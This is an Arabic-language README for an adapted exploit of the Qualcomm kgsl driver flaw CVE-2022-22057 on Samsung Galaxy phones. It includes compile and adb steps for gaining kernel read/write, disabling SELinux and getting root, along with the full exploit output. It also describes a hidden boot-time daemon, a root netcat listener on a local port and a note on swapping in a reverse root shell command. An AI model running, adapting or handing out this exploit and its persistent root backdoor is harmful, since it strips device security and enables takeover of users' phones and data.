
# استغلال برنامج تشغيل Qualcomm kgsl (CVE-2022-22057) لأجهزة سامسونج جالاكسي يحقق قراءة/كتابة عشوائية لذاكرة النواة، وتجاوز SELinux، ووصول جذر مؤقت عبر حالة سباق.
تكييفي لهاتف SM-F926U من الاستغلال الأصلي هنا
شكرٌ هائل لـ m-y-mo على اكتشافه الاستغلال وصبره الشديد مع كل أسئلتي لنقل هذا إلى SM-F926U وجعله قابلًا للاستخدام
أضفت برنامجًا خفيًا لبدء التشغيل (libtimeline.so) مبنيًا على كود من Shizuku
أضفت حيلة قذرة للسماح لحل الجذر المؤقت بأن يكون مستقرًا (انظر أدناه)
إخلاء مسؤولية: لست مسؤولًا عن الأجهزة المُتلفة أو البيانات المفقودة أو البيانات المسروقة أو أمان الجهاز
إخلاء مسؤولية 2: لست مطورًا، بل أقرب إلى مجرّب محترف. قد أحاول مساعدتك إذا واجهت مشكلات، وقد لا أنظر إلى هذه الصفحة مجددًا أبدًا، تابع على مسؤوليتك الخاصة
المتطلبات:
التعليمات:
/data/local/tmp/timeline مباشرةً، حيث يمكنك رؤية ما إذا كان الاستغلال يعمل أو معلقًا (انظر التحذيرات أدناه)/data/local/tmp/libtimeline.sonetcat 127.0.0.1 6969 في جلسة adbid وستظهر بيانات اعتماد الجذر الخاصة بكتحذيرات إضافية:
top أن timeline يعمل بحوالي 100% من استخدام المعالج. لست متأكدًا مما إذا كان هذا حقيقيًا أم لا. إنه في الواقع يظل في حالة while(1) لمنعه من الإغلاق وتجنب تعطل الجهاز، لذا لم أعثر على سبب ارتفاع استخدام المعالج أو ما إذا كانت إيجابية كاذبةيمكن العثور على الشرح هنا. هذه ثغرة في برنامج تشغيل Qualcomm kgsl أبلغت عنها في نوفمبر 2021. يمكن استخدام الثغرة للحصول على قراءة وكتابة عشوائية لذاكرة النواة من نطاق التطبيقات غير الموثوقة، ثم تُستخدم لتعطيل SELinux والحصول على صلاحيات الجذر.
تم اختبار الاستغلال على Samsung Galaxy Z Flip 3 (النسخة الأوروبية SM-F711B) مع إصدار البرنامج الثابت F711BXXS2BUL6 والنطاق الأساسي F711BXXU2BUL4 وإصدار النواة 5.4.86-qgki-23063627-abF711BXXS2BUL6 (منطقة EUX). تشير الإزاحات في الاستغلال إلى هذا الإصدار من البرنامج الثابت. بصرف النظر عن الإزاحات المعتادة في صورة النواة، فإن عناوين مختلفة لتجمعات ذاكرة ion في ion_utils.c خاصة أيضًا بالبرنامج الثابت. كمرجع، استخدمت الأمر التالي للترجمة باستخدام clang في ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
الاستغلال موثوق بشكل معقول (~70% على الجهاز المختبر)، على الرغم من أنه يحتاج إلى الانتظار بضع دقائق بعد بدء التشغيل قبل العمل، لأن هناك عددًا كبيرًا جدًا من استدعاءات binder الفاشلة/المكسورة خلال الدقائق الأولى من بدء التشغيل. (لست متأكدًا تمامًا مما إذا كانت مشكلة Qualcomm أم Samsung)
للاختبار، قم بالترجمة المتقاطعة للملف ثم نفذه باستخدام adb:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
إذا نجح، فسيعطل SELinux وينفذ أمر id بصلاحيات الجذر ويكتب النتائج في ملف /data/local/tmp/id.txt:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
هناك توقف طويل بعد طباعة wait complete -1، ويجب أن يكون أقل من دقيقة، وهذا طبيعي. قد يستغرق الأمر أحيانًا بعض الوقت أيضًا لإدراج العمل في قائمة الانتظار (بعد طباعة queuing work, waiting to aquire spin lock، قد يستغرق دقيقتين، فقط تحتاج إلى التحلي بالصبر، على الرغم من أن هذا ليس شائعًا). يكتمل الاستغلال عادةً في غضون دقيقتين.
يجب أن يؤكد الملف /data/local/tmp/id.txt أن الأمر نُفذ بصلاحيات الجذر:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
يمكن تشغيل أمر مختلف بتغيير المتغير cmd في setup_sub_info في work_queue_utils.c. (على سبيل المثال، لتشغيل صدفة جذر عكسية).